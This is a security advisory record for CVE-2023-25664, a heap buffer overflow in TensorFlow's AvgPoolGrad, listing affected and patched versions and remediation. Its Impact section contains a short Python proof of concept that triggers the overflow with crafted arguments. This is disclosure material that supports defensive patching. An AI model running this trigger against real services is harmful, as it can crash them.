{"id":"CVE-2023-25664","aliases":["GHSA-6hg6-5c2q-7rcr","BIT-tensorflow-2023-25664","PYSEC-2026-1951","PYSEC-2026-3122"],"title":"TensorFlow has Heap-buffer-overflow in AvgPoolGrad ","summary":"TensorFlow has Heap-buffer-overflow in AvgPoolGrad ","severity":"high","cvss":7.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","vendor":"tensorflow","product":"tensorflow","ecosystem":"pip","affected":["tensorflow < 2.11.1","tensorflow-cpu < 2.11.1"],"patched":["tensorflow 2.11.1","tensorflow-cpu 2.11.1"],"published":"2023-03-24","updated":"2026-09-10","sourceUpdated":"2026-09-10T03:49:52.782697898Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-6hg6-5c2q-7rcr","references":[{"url":"https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6hg6-5c2q-7rcr"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-25664"},{"url":"https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b"},{"url":"https://github.com/tensorflow/tensorflow"}],"tags":["osv","pip"],"epss":0.00415,"epssPercentile":0.35546,"ingestedAt":"2026-07-08T18:25:46.479Z","slug":"CVE-2023-25664","body":"## Overview\n\n### Impact\n```python\nimport os\nos.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'\nimport tensorflow as tf\nprint(tf.__version__)\nwith tf.device(\"CPU\"):\n    ksize = [1, 40, 128, 1]\n    strides = [1, 128, 128, 30]\n    padding = \"SAME\"\n    data_format = \"NHWC\"\n    orig_input_shape = [11, 9, 78, 9]\n    grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)\n    res = tf.raw_ops.AvgPoolGrad(\n        ksize=ksize,\n        strides=strides,\n        padding=padding,\n        data_format=data_format,\n        orig_input_shape=orig_input_shape,\n        grad=grad,\n    )\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).\n\nThe fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by <evn@google.com>\n\n\n## Affected packages\n\n- `tensorflow < 2.11.1`\n- `tensorflow-cpu < 2.11.1`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `tensorflow 2.11.1`\n- `tensorflow-cpu 2.11.1`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}